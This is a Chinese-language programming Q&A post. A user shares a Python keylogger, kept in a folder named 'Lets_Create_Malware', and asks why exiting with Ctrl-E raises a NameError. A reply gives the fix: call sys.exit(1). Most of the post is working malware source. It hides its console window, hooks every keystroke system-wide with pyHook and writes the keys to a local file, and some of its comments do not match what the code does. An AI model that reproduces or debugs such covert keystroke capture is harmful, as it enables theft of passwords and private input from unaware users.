我有基于YouTube视频的Python代码
当我输入 Ctrl-E 退出时,即使我包含 sys 库,我也会收到错误Traceback (most recent call last):
File "C:Python27libsite-packagespyHookHookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:/Lets_Create_Malware/keyz.pyw", line 21, in OnKeyboardEvent
_exit(1)
NameError: global name '_exit' is not defined
。
我快要为此发疯了。这是我记录的代码。任何帮助都非常感谢。
import win32api #win32* to interact with Windows environment
import win32console
import win32gui
import pythoncom #python to interact with windows
import pyHook #captures input, such as from a keyboard
import sys #use system-specific parameters such as _exit
import logging #enables logging
#hide python command window
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
#exit script that uses ASCII value 5 to end program
#ASCII value 5 is same as Ctrl-E
#OnKeyboardEvent is invoked with key on keyboard is pressed
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
#if input is not null or backspace, record input
if event.Ascii != 5:
#open read-only copy of log file and save to variable buffer
f=open('c:\Lets_Create_Malware\output.txt', 'w+')
buffer=f.read()
f.close
#re-open log file, this time you can write to it
f=open('c:\Lets_Create_Malware\output.txt','w')
#save all log information as variable keylogs
keylogs=chr(event.Ascii)
#append variable keylogs to variable buffer
buffer += keylogs
#write buffer to the writable logfile, C:output.txt
f.write(buffer)
#close the logfile
f.close()
#create hook manager
hm = pyHook.HookManager()
#watch for all key events
hm.KeyDown = OnKeyboardEvent
#set the hook that captures all the events
hm.HookKeyboard()
#record the events
pythoncom.PumpMessages()
要在 python 中使用导入的模块,您必须按module.method
从模块调用该方法,因此您应该sys.exit(1)
不要_exit(1)
。